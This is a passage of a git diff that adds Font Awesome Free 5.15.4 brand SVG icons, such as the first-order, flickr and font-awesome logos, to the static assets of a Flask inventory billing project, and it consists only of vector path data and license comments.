d="M503.52,241.48c-.12-1.56-.24-3.12-.24-4.68v-.12l-.36-4.68v-.12a245.86,245.86,0,0,0-7.32-41.15c0-.12,0-.12-.12-.24l-1.08-4c-.12-.24-.12-.48-.24-.6-.36-1.2-.72-2.52-1.08-3.72-.12-.24-.12-.6-.24-.84-.36-1.2-.72-2.4-1.08-3.48-.12-.36-.24-.6-.36-1-.36-1.2-.72-2.28-1.2-3.48l-.36-1.08c-.36-1.08-.84-2.28-1.2-3.36a8.27,8.27,0,0,0-.36-1c-.48-1.08-.84-2.28-1.32-3.36-.12-.24-.24-.6-.36-.84-.48-1.2-1-2.28-1.44-3.48,0-.12-.12-.24-.12-.36-1.56-3.84-3.24-7.68-5-11.4l-.36-.72c-.48-1-.84-1.8-1.32-2.64-.24-.48-.48-1.08-.72-1.56-.36-.84-.84-1.56-1.2-2.4-.36-.6-.6-1.2-1-1.8s-.84-1.44-1.2-2.28c-.36-.6-.72-1.32-1.08-1.92s-.84-1.44-1.2-2.16a18.07,18.07,0,0,0-1.2-2c-.36-.72-.84-1.32-1.2-2s-.84-1.32-1.2-2-.84-1.32-1.2-1.92-.84-1.44-1.32-2.16a15.63,15.63,0,0,0-1.2-1.8L463.2,119a15.63,15.63,0,0,0-1.2-1.8c-.48-.72-1.08-1.56-1.56-2.28-.36-.48-.72-1.08-1.08-1.56l-1.8-2.52c-.36-.48-.6-.84-1-1.32-1-1.32-1.8-2.52-2.76-3.72a248.76,248.76,0,0,0-23.51-26.64A186.82,186.82,0,0,0,412,62.46c-4-3.48-8.16-6.72-12.48-9.84a162.49,162.49,0,0,0-24.6-15.12c-2.4-1.32-4.8-2.52-7.2-3.72a254,254,0,0,0-55.43-19.56c-1.92-.36-3.84-.84-5.64-1.2h-.12c-1-.12-1.8-.36-2.76-.48a236.35,236.35,0,0,0-38-4H255.14a234.62,234.62,0,0,0-45.48,5c-33.59,7.08-63.23,21.24-82.91,39-1.08,1-1.92,1.68-2.4,2.16l-.48.48H124l-.12.12.12-.12a.12.12,0,0,0,.12-.12l-.12.12a.42.42,0,0,1,.24-.12c14.64-8.76,34.92-16,49.44-19.56l5.88-1.44c.36-.12.84-.12,1.2-.24,1.68-.36,3.36-.72,5.16-1.08.24,0,.6-.12.84-.12C250.94,20.94,319.34,40.14,367,85.61a171.49,171.49,0,0,1,26.88,32.76c30.36,49.2,27.48,111.11,3.84,147.59-34.44,53-111.35,71.27-159,24.84a84.19,84.19,0,0,1-25.56-59,74.05,74.05,0,0,1,6.24-31c1.68-3.84,13.08-25.67,18.24-24.59-13.08-2.76-37.55,2.64-54.71,28.19-15.36,22.92-14.52,58.2-5,83.28a132.85,132.85,0,0,1-12.12-39.24c-12.24-82.55,43.31-153,94.31-170.51-27.48-24-96.47-22.31-147.71,15.36-29.88,22-51.23,53.16-62.51,90.36,1.68-20.88,9.6-52.08,25.8-83.88-17.16,8.88-39,37-49.8,62.88-15.6,37.43-21,82.19-16.08,124.79.36,3.24.72,6.36,1.08,9.6,19.92,117.11,122,206.38,244.78,206.38C392.77,503.42,504,392.19,504,255,503.88,250.48,503.76,245.92,503.52,241.48Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/first-order-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/first-order-alt.svg new file mode 100644 index 00000000..2a5a9098 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/first-order-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm0 488.21C115.34 496.21 7.79 388.66 7.79 256S115.34 15.79 248 15.79 488.21 123.34 488.21 256 380.66 496.21 248 496.21zm0-459.92C126.66 36.29 28.29 134.66 28.29 256S126.66 475.71 248 475.71 467.71 377.34 467.71 256 369.34 36.29 248 36.29zm0 431.22c-116.81 0-211.51-94.69-211.51-211.51S131.19 44.49 248 44.49 459.51 139.19 459.51 256 364.81 467.51 248 467.51zm186.23-162.98a191.613 191.613 0 0 1-20.13 48.69l-74.13-35.88 61.48 54.82a193.515 193.515 0 0 1-37.2 37.29l-54.8-61.57 35.88 74.27a190.944 190.944 0 0 1-48.63 20.23l-27.29-78.47 4.79 82.93c-8.61 1.18-17.4 1.8-26.33 1.8s-17.72-.62-26.33-1.8l4.76-82.46-27.15 78.03a191.365 191.365 0 0 1-48.65-20.2l35.93-74.34-54.87 61.64a193.85 193.85 0 0 1-37.22-37.28l61.59-54.9-74.26 35.93a191.638 191.638 0 0 1-20.14-48.69l77.84-27.11-82.23 4.76c-1.16-8.57-1.78-17.32-1.78-26.21 0-9 .63-17.84 1.82-26.51l82.38 4.77-77.94-27.16a191.726 191.726 0 0 1 20.23-48.67l74.22 35.92-61.52-54.86a193.85 193.85 0 0 1 37.28-37.22l54.76 61.53-35.83-74.17a191.49 191.49 0 0 1 48.65-20.13l26.87 77.25-4.71-81.61c8.61-1.18 17.39-1.8 26.32-1.8s17.71.62 26.32 1.8l-4.74 82.16 27.05-77.76c17.27 4.5 33.6 11.35 48.63 20.17l-35.82 74.12 54.72-61.47a193.13 193.13 0 0 1 37.24 37.23l-61.45 54.77 74.12-35.86a191.515 191.515 0 0 1 20.2 48.65l-77.81 27.1 82.24-4.75c1.19 8.66 1.82 17.5 1.82 26.49 0 8.88-.61 17.63-1.78 26.19l-82.12-4.75 77.72 27.09z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/first-order.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/first-order.svg new file mode 100644 index 00000000..5a3c188d --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/first-order.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M12.9 229.2c.1-.1.2-.3.3-.4 0 .1 0 .3-.1.4h-.2zM224 96.6c-7.1 0-14.6.6-21.4 1.7l3.7 67.4-22-64c-14.3 3.7-27.7 9.4-40 16.6l29.4 61.4-45.1-50.9c-11.4 8.9-21.7 19.1-30.6 30.9l50.6 45.4-61.1-29.7c-7.1 12.3-12.9 25.7-16.6 40l64.3 22.6-68-4c-.9 7.1-1.4 14.6-1.4 22s.6 14.6 1.4 21.7l67.7-4-64 22.6c3.7 14.3 9.4 27.7 16.6 40.3l61.1-29.7L97.7 352c8.9 11.7 19.1 22.3 30.9 30.9l44.9-50.9-29.5 61.4c12.3 7.4 25.7 13.1 40 16.9l22.3-64.6-4 68c7.1 1.1 14.6 1.7 21.7 1.7 7.4 0 14.6-.6 21.7-1.7l-4-68.6 22.6 65.1c14.3-4 27.7-9.4 40-16.9L274.9 332l44.9 50.9c11.7-8.9 22-19.1 30.6-30.9l-50.6-45.1 61.1 29.4c7.1-12.3 12.9-25.7 16.6-40.3l-64-22.3 67.4 4c1.1-7.1 1.4-14.3 1.4-21.7s-.3-14.9-1.4-22l-67.7 4 64-22.3c-3.7-14.3-9.1-28-16.6-40.3l-60.9 29.7 50.6-45.4c-8.9-11.7-19.1-22-30.6-30.9l-45.1 50.9 29.4-61.1c-12.3-7.4-25.7-13.1-40-16.9L241.7 166l4-67.7c-7.1-1.2-14.3-1.7-21.7-1.7zM443.4 128v256L224 512 4.6 384V128L224 0l219.4 128zm-17.1 10.3L224 20.9 21.7 138.3v235.1L224 491.1l202.3-117.7V138.3zM224 37.1l187.7 109.4v218.9L224 474.9 36.3 365.4V146.6L224 37.1zm0 50.9c-92.3 0-166.9 75.1-166.9 168 0 92.6 74.6 167.7 166.9 167.7 92 0 166.9-75.1 166.9-167.7 0-92.9-74.9-168-166.9-168z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/firstdraft.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/firstdraft.svg new file mode 100644 index 00000000..4b4a3bfb --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/firstdraft.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M384 192h-64v128H192v128H0v-25.6h166.4v-128h128v-128H384V192zm-25.6 38.4v128h-128v128H64V512h192V384h128V230.4h-25.6zm25.6 192h-89.6V512H320v-64h64v-25.6zM0 0v384h128V256h128V128h128V0H0z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/flickr.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/flickr.svg new file mode 100644 index 00000000..7815c444 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/flickr.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM144.5 319c-35.1 0-63.5-28.4-63.5-63.5s28.4-63.5 63.5-63.5 63.5 28.4 63.5 63.5-28.4 63.5-63.5 63.5zm159 0c-35.1 0-63.5-28.4-63.5-63.5s28.4-63.5 63.5-63.5 63.5 28.4 63.5 63.5-28.4 63.5-63.5 63.5z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/flipboard.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/flipboard.svg new file mode 100644 index 00000000..6a6c02c2 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/flipboard.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M0 32v448h448V32H0zm358.4 179.2h-89.6v89.6h-89.6v89.6H89.6V121.6h268.8v89.6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/fly.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/fly.svg new file mode 100644 index 00000000..974a503f --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/fly.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M197.8 427.8c12.9 11.7 33.7 33.3 33.2 50.7 0 .8-.1 1.6-.1 2.5-1.8 19.8-18.8 31.1-39.1 31-25-.1-39.9-16.8-38.7-35.8 1-16.2 20.5-36.7 32.4-47.6 2.3-2.1 2.7-2.7 5.6-3.6 3.4 0 3.9.3 6.7 2.8zM331.9 67.3c-16.3-25.7-38.6-40.6-63.3-52.1C243.1 4.5 214-.2 192 0c-44.1 0-71.2 13.2-81.1 17.3C57.3 45.2 26.5 87.2 28 158.6c7.1 82.2 97 176 155.8 233.8 1.7 1.6 4.5 4.5 6.2 5.1l3.3.1c2.1-.7 1.8-.5 3.5-2.1 52.3-49.2 140.7-145.8 155.9-215.7 7-39.2 3.1-72.5-20.8-112.5zM186.8 351.9c-28-51.1-65.2-130.7-69.3-189-3.4-47.5 11.4-131.2 69.3-136.7v325.7zM328.7 180c-16.4 56.8-77.3 128-118.9 170.3C237.6 298.4 275 217 277 158.4c1.6-45.9-9.8-105.8-48-131.4 88.8 18.3 115.5 98.1 99.7 153z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/font-awesome-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/font-awesome-alt.svg new file mode 100644 index 00000000..bb5c015d --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/font-awesome-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M400 32H48A48 48 0 0 0 0 80V432a48 48 0 0 0 48 48H400a48 48 0 0 0 48-48V80A48 48 0 0 0 400 32Zm16 400a16 16 0 0 1-16 16H48a16 16 0 0 1-16-16V80A16 16 0 0 1 48 64H400a16 16 0 0 1 16 16ZM201.6 152c-25.4 0-37.4 10.4-57.6 14.4V160a16 16 0 0 0-32 0V352a16 16 0 0 0 32 0V198.4c20.2-4 32.2-14.4 57.6-14.4 31.4 0 43.2 16 74.6 16 10.2 0 17.8-1.4 27.8-4.6v96c-10 3.2-17.6 4.6-27.8 4.6-31.4 0-43.4-16-74.6-16a85.9 85.9 0 0 0-25.6 4v32a80 80 0 0 1 25.6-4c31.4 0 43.2 16 74.6 16 18.6 0 28.2-4.8 59.8-16V152c-31.6 11.2-41.2 16-59.8 16C244.8 168 232.8 152 201.6 152Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/font-awesome-flag.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/font-awesome-flag.svg new file mode 100644 index 00000000..f9f02871 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/font-awesome-flag.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M448 48V384c-63 23-82 32-119 32-63 0-87-32-150-32-20 0-36 4-51 8V328c15-4 31-8 51-8 63 0 87 32 150 32 20 0 35-3 55-9V135c-20 6-35 9-55 9-63 0-87-32-150-32-51 0-75 21-115 29V448a31.6 31.6 0 0 1-32 32A31.6 31.6 0 0 1 0 448V64A31.6 31.6 0 0 1 32 32 31.6 31.6 0 0 1 64 64V77c40-8 64-29 115-29 63 0 87 32 150 32C366 80 385 71 448 48Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/font-awesome-logo-full.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/font-awesome-logo-full.svg new file mode 100644 index 00000000..c7eb606d --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/font-awesome-logo-full.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 3992 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M1209.7 156.5c-57.8 0-102 43.9-102 99.1 0 56 44.6 99.1 102 99.1 57.4 0 102-43.1 102-99.1C1311.7 200.4 1267.5 156.5 1209.7 156.5Zm0 152.7c-35.1 0-51.8-27.4-51.8-53.2 0-25.8 16.7-53.2 51.8-53.2 35.1 0 51.8 27.8 51.8 53.2C1261.1 281.8 1244.8 309.2 1209.7 309.2Zm962.1-136.1c-4.4-10.9-12.3-16.5-23.5-16.5s-19.1 5.6-23.5 16.5l-59.4 145.8c-7.2 17.7 2.8 27.4 4.4 29a24.6 24.6 0 0 0 17.5 6.8c10.8 0 18.7-6 23.1-18.1l4-10.1h67.7l4 10.1c4.8 12.1 12.3 18.1 23.1 18.1a24.6 24.6 0 0 0 17.5-6.8c10-10.1 6.8-22.6 4.4-29Zm-43 113.6 19.1-56 19.1 56Zm-574.5-130.1c-14.3 0-24.7 10.9-24.7 25.4v76.5l-68.5-85.8c-4.4-5.6-11.6-16.1-25.5-16.1-19.1 0-24.3 17.7-24.3 25.4V329.7c0 14.1 10.4 25.4 24.7 25.4 14.3 0 24.7-10.9 24.7-25.4V252.8l68.9 86.2c4.8 5.6 11.6 16.1 25.5 16.1 19.1 0 23.9-17.3 23.9-25.4V181.9C1579 167.4 1568.6 156.5 1554.3 156.5Zm-554.1 1.6H916.5c-19.9 0-25.1 17.3-25.1 25.4V328.1c0 19.7 16.7 25.4 24.7 25.4 8 0 24.7-5.2 24.7-25.4V285h44.6c12.8 0 22.7-9.3 22.7-22.6 0-17.7-15.5-22.1-22.7-22.1H940.8V203.6h59.4c12.8 0 22.7-9.3 22.7-22.6C1022.9 163 1007.3 158.1 1000.2 158.1Zm815.1 0H1691.7c-7.2 0-22.7 4.4-22.7 22.2 0 13.3 10 22.6 22.7 22.6h37V327.7c0 14.1 10.4 25.4 24.7 25.4 14.3 0 24.7-10.9 24.7-25.4V202.8h37c12.7 0 22.7-9.3 22.7-22.6C1837.9 163 1822.4 158.1 1815.2 158.1Zm1789.5-1.6c-9.6 0-17.5 6-25.1 18.1l-46.6 76.1L3486.4 174.6q-10.8-18.1-25.1-18.1c-19.5 0-24.7 18.1-24.7 25.8V329.7c0 14.1 10.4 25.4 24.7 25.4s24.7-10.9 24.7-25.4V262.8L3510.7 302.7c6.4 10.1 13.9 15.3 22.3 15.3 8.8 0 15.9-5.2 22.3-15.3l24.7-39.9v66.9c0 14.1 10.3 25.4 24.7 25.4 14.3 0 24.7-10.9 24.7-25.4V182.3C3629.4 174.2 3624.6 156.5 3604.7 156.5Zm248.6 149.8h-65.7V272.9h39.4c11.9 0 21.1-8.9 21.1-20.9 0-12.1-9.2-20.9-21.1-20.9h-39.4V204.8h62.1c12.8 0 22.7-9.3 22.7-22.6 0-17.7-15.6-22.2-22.7-22.2h-86.4c-19.9 0-25.1 17.3-25.1 25.4V326.5c0 8.1 5.2 25.4 25.1 25.4h90c12.8 0 22.7-9.3 22.7-22.6C3876 311.2 3860.5 306.3 3853.3 306.3ZM3235 156.5c-57.8 0-102 43.9-102 99.1 0 56 44.6 99.1 102 99.1 57.4 0 102-43.1 102-99.1C3337 200.4 3292.8 156.5 3235 156.5Zm0 152.7c-35.1 0-51.8-27.4-51.8-53.2 0-25.8 16.7-53.2 51.8-53.2 35.1 0 51.8 27.8 51.8 53.2C3286.8 281.8 3270.1 309.2 3235 309.2ZM2550.2 156.5c-11.2 0-19.1 5.6-23.1 16.5l-34.3 94.7-31.5-92.2c-4.4-12.5-12.3-18.9-24.3-18.9-11.9 0-19.9 6.4-24.3 18.9l-31.5 92.2-34.3-95.5q-5.4-15.7-22.7-15.7c-6.8 0-12.3 2.4-17.5 7.3-5.2 5.2-10.8 14.5-4.8 28.6l55.8 145.8c4 11.3 11.6 16.9 23.1 16.9q16.7 0 22.7-16.9l33.5-91.8 33.5 91.8q6 16.9 22.7 16.9c11.2 0 19.1-5.6 23.1-16.9l55.8-145.8c3.6-9.3 4.4-19.3-4.8-28.6A23 23 0 0 0 2550.2 156.5Zm444.2 81-21.9-9.3c-11.9-4.8-16.3-8.5-16.3-15.7q0-12.1 16.7-12.1c12.7 0 19.5 7.7 24.3 10.9 7.2 5.2 18.3 6.8 27.9-2 10.8-10.5 6.8-23.8 1.2-30.6-12.3-14.9-30.3-22.2-53.8-22.2-19.1 0-35.1 5.2-47.4 15.7-12.3 10.5-18.7 24.2-18.7 41.1 0 24.2 15.9 43.5 47.8 57.6l19.5 8.9c15.9 6.8 19.1 9.7 19.1 17.7 0 9.3-6.4 14.1-19.5 14.1-19.1 0-34.7-14.9-36.3-16.1-10.8-7.3-21.5-2-26.3 2.8-6.8 6.4-12.7 20.9 3.2 36.2 6.8 6.4 15.5 11.7 26.7 15.3a94.6 94.6 0 0 0 32.7 5.6c19.9 0 36.7-5.2 49.8-16.1 13.1-10.9 19.5-25.4 19.5-43.5q0-20.5-12-33.8C3022.7 253.2 3010.7 244.3 2994.4 237.5Zm-206.4 68.9h-65.7V272.9h39.4c12 0 21.1-8.9 21.1-20.9 0-12.1-9.2-20.9-21.1-20.9h-39.4V204.8h62.1c12.8 0 22.7-9.3 22.7-22.6 0-17.7-15.5-22.2-22.7-22.2h-86.4c-19.9 0-25.1 17.3-25.1 25.4V326.5c0 8.1 5.2 25.4 25.1 25.4h90c12.7 0 22.7-9.3 22.7-22.6C2810.8 311.2 2795.2 306.3 2788 306.3ZM178.3 49.1c-50.5 0-74.4 20.7-114.6 28.7V65A31.8 31.8 0 1 0 0 65V447a31.8 31.8 0 0 0 63.7 0V141.4c40.2-8 64.1-28.7 114.6-28.7 62.5 0 86 31.8 148.4 31.8 20.3 0 35.4-2.8 55.3-9.2v191c-19.9 6.4-35 9.2-55.3 9.2-62.5 0-86.4-31.8-148.4-31.8-20.3 0-36.2 3.6-50.9 8V375.4a159.1 159.1 0 0 1 50.9-8c62.5 0 86 31.8 148.4 31.8 37 0 56.1-9.6 119-31.8V49.1C382.8 71.4 363.7 80.9 326.7 80.9 264.2 80.9 240.4 49.1 178.3 49.1Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/font-awesome.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/font-awesome.svg new file mode 100644 index 00000000..ca95b892 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/font-awesome.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M400 32H48A48 48 0 0 0 0 80V432a48 48 0 0 0 48 48H400a48 48 0 0 0 48-48V80A48 48 0 0 0 400 32ZM336 312c-31.6 11.2-41.2 16-59.8 16-31.4 0-43.2-16-74.6-16a80 80 0 0 0-25.6 4V284a85.9 85.9 0 0 1 25.6-4c31.2 0 43.2 16 74.6 16 10.2 0 17.8-1.4 27.8-4.6v-96c-10 3.2-17.6 4.6-27.8 4.6-31.4 0-43.2-16-74.6-16-25.4 0-37.4 10.4-57.6 14.4V352a16 16 0 0 1-32 0V160a16 16 0 0 1 32 0v6.4c20.2-4 32.2-14.4 57.6-14.4 31.2 0 43.2 16 74.6 16 18.6 0 28.2-4.8 59.8-16Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/fonticons-fi.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/fonticons-fi.svg new file mode 100644 index 00000000..0937f413 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/fonticons-fi.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M114.4 224h92.4l-15.2 51.2h-76.4V433c0 8-2.8 9.2 4.4 10l59.6 5.6V483H0v-35.2l29.2-2.8c7.2-.8 9.2-3.2 9.2-10.8V278.4c0-3.2-4-3.2-8-3.2H0V224h38.4v-28.8c0-68 36.4-96 106-96 46.8 0 88.8 11.2 88.8 72.4l-69.6 8.4c.4-25.6-6-31.6-22.4-31.6-25.2 0-26 13.6-26 37.6v32c0 3.2-4.8 6-.8 6zM384 483H243.2v-34.4l28-3.6c7.2-.8 10.4-2.4 10.4-10V287c0-5.6-4-9.2-9.2-10.8l-33.2-8.8 9.2-40.4h110v208c0 8-3.6 8.8 4 10l21.6 3.6V483zm-30-347.2l12.4 45.6-10 10-42.8-22.8-42.8 22.8-10-10 12.4-45.6-30-36.4 4.8-10h38L307.2 51H320l21.2 38.4h38l4.8 13.2-30 33.2z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/fonticons.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/fonticons.svg new file mode 100644 index 00000000..bfad1351 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/fonticons.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M0 32v448h448V32zm187 140.9c-18.4 0-19 9.9-19 27.4v23.3c0 2.4-3.5 4.4-.6 4.4h67.4l-11.1 37.3H168v112.9c0 5.8-2 6.7 3.2 7.3l43.5 4.1v25.1H84V389l21.3-2c5.2-.6 6.7-2.3 6.7-7.9V267.7c0-2.3-2.9-2.3-5.8-2.3H84V228h28v-21c0-49.6 26.5-70 77.3-70 34.1 0 64.7 8.2 64.7 52.8l-50.7 6.1c.3-18.7-4.4-23-16.3-23zm74.3 241.8v-25.1l20.4-2.6c5.2-.6 7.6-1.7 7.6-7.3V271.8c0-4.1-2.9-6.7-6.7-7.9l-24.2-6.4 6.7-29.5h80.2v151.7c0 5.8-2.6 6.4 2.9 7.3l15.7 2.6v25.1zm80.8-255.5l9 33.2-7.3 7.3-31.2-16.6-31.2 16.6-7.3-7.3 9-33.2-21.8-24.2 3.5-9.6h27.7l15.5-28h9.3l15.5 28h27.7l3.5 9.6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/fort-awesome-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/fort-awesome-alt.svg new file mode 100644 index 00000000..9e606658 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/fort-awesome-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M208 237.4h-22.2c-2.1 0-3.7 1.6-3.7 3.7v51.7c0 2.1 1.6 3.7 3.7 3.7H208c2.1 0 3.7-1.6 3.7-3.7v-51.7c0-2.1-1.6-3.7-3.7-3.7zm118.2 0H304c-2.1 0-3.7 1.6-3.7 3.7v51.7c0 2.1 1.6 3.7 3.7 3.7h22.2c2.1 0 3.7-1.6 3.7-3.7v-51.7c-.1-2.1-1.7-3.7-3.7-3.7zm132-125.1c-2.3-3.2-4.6-6.4-7.1-9.5-9.8-12.5-20.8-24-32.8-34.4-4.5-3.9-9.1-7.6-13.9-11.2-1.6-1.2-3.2-2.3-4.8-3.5C372 34.1 340.3 20 306 13c-16.2-3.3-32.9-5-50-5s-33.9 1.7-50 5c-34.3 7.1-66 21.2-93.3 40.8-1.6 1.1-3.2 2.3-4.8 3.5-4.8 3.6-9.4 7.3-13.9 11.2-3 2.6-5.9 5.3-8.8 8s-5.7 5.5-8.4 8.4c-5.5 5.7-10.7 11.8-15.6 18-2.4 3.1-4.8 6.3-7.1 9.5C25.2 153 8.3 202.5 8.3 256c0 2 .1 4 .1 6 .1.7.1 1.3.1 2 .1 1.3.1 2.7.2 4 0 .8.1 1.5.1 2.3 0 1.3.1 2.5.2 3.7.1.8.1 1.6.2 2.4.1 1.1.2 2.3.3 3.5 0 .8.1 1.6.2 2.4.1 1.2.3 2.4.4 3.6.1.8.2 1.5.3 2.3.1 1.3.3 2.6.5 3.9.1.6.2 1.3.3 1.9l.9 5.7c.1.6.2 1.1.3 1.7.3 1.3.5 2.7.8 4 .2.8.3 1.6.5 2.4.2 1 .5 2.1.7 3.2.2.9.4 1.7.6 2.6.2 1 .4 2 .7 3 .2.9.5 1.8.7 2.7.3 1 .5 1.9.8 2.9.3.9.5 1.8.8 2.7.2.9.5 1.9.8 2.8s.5 1.8.8 2.7c.3 1 .6 1.9.9 2.8.6 1.6 1.1 3.3 1.7 4.9.4 1 .7 1.9 1 2.8.3 1 .7 2 1.1 3 .3.8.6 1.5.9 2.3l1.2 3c.3.7.6 1.5.9 2.2.4 1 .9 2 1.3 3l.9 2.1c.5 1 